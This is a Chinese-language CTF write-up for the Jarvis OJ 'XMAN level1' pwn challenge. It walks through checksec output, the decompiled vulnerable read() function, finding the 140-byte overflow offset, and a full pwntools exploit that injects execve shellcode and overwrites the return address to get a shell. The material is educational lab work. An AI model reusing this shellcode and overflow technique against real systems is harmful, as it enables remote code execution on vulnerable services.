在 Jarvis OJ 平台上发现的一个 pwn 题目系列:XMAN。
本篇介绍 XMAN level1.
题目可以在 Jarvis OJ 平台上找的,这里不再提供下载。
首先使用 file
命令查看文件
file level1.80eacdcd51aca92af7749d96efad7fb5
level1.80eacdcd51aca92af7749d96efad7fb5: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7d479bd8046d018bbb3829ab97f6196c0238b344, not stripped
程序是32位 ELF 文件
使用 checksec
查看文件保护机制 (gdb peda插件)
gdb level1.80eacdcd51aca92af7749d96efad7fb5
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
用 IDA 分析程序,发现一个函数明显存在缓冲区溢出漏洞
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-88h]@1
printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
}
同时,程序并没有开启 NX 保护机制,因此只要将 shellcode 写入缓冲区,然后构造 payload 覆盖返回地址,将程序转到缓冲区的 shellcode 处执行,即可getshell。
接下来确定溢出点的位置,使用 pattern 来计算
gdb-peda$ pattern create 150 payload
Writing pattern of 150 chars to filename "payload"
gdb-peda$ run < payload
Starting program: /home/xxx/pwn/XMAN/level1/level1.80eacdcd51aca92af7749d96efad7fb5 < payload
What's this:0xffffcde0?
Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0x41416d41 in ?? ()
gdb-peda$ pattern offset 0x41416d41
1094806849 found at offset: 140
成功计算出溢出点偏移为140字节
此外,同样可以直接阅读反汇编代码,计算溢出点
.text:0804847B public vulnerable_function
.text:0804847B vulnerable_function proc near ; CODE XREF: main+11p
.text:0804847B
.text:0804847B buf = byte ptr -88h
.text:0804847B
.text:0804847B push ebp
.text:0804847C mov ebp, esp
.text:0804847E sub esp, 88h
.text:08048484 sub esp, 8
.text:08048487 lea eax, [ebp+buf]
.text:0804848D push eax
.text:0804848E push offset format ; "What's this:%p?\n"
.text:08048493 call _printf
.text:08048498 add esp, 10h
.text:0804849B sub esp, 4
.text:0804849E push 100h ; nbytes
.text:080484A3 lea eax, [ebp+buf]
.text:080484A9 push eax ; buf
.text:080484AA push 0 ; fd
.text:080484AC call _read
.text:080484B1 add esp, 10h
.text:080484B4 nop
.text:080484B5 leave
.text:080484B6 retn
.text:080484B6 vulnerable_function endp
从 vulnerable_function 代码中可以看出,在栈帧中缓冲区在 ebp-88h
处,因此 ebp
相对缓冲区的偏移为 0x88
,返回地址的偏移为 0x88+0x4=0x8C(140)
。
使用 pwntools 编写 exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
from pwn import *
def main(local=False):
if local:
context.log_level = 'debug'
io = process('./level1.80eacdcd51aca92af7749d96efad7fb5')
else:
context.log_level = 'info'
io = remote('pwn2.jarvisoj.com', 9877)
io.recvuntil('What\'s this:')
ret = io.recv(10)
ret = int(ret, 16)
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'
payload = shellcode
payload += 'A' * (140-len(shellcode))
payload += p32(ret)
io.sendline(payload)
io.interactive()
if __name__ == '__main__':
if len(sys.argv) >= 2 and sys.argv[1] == 'local':
main(True)
else:
main()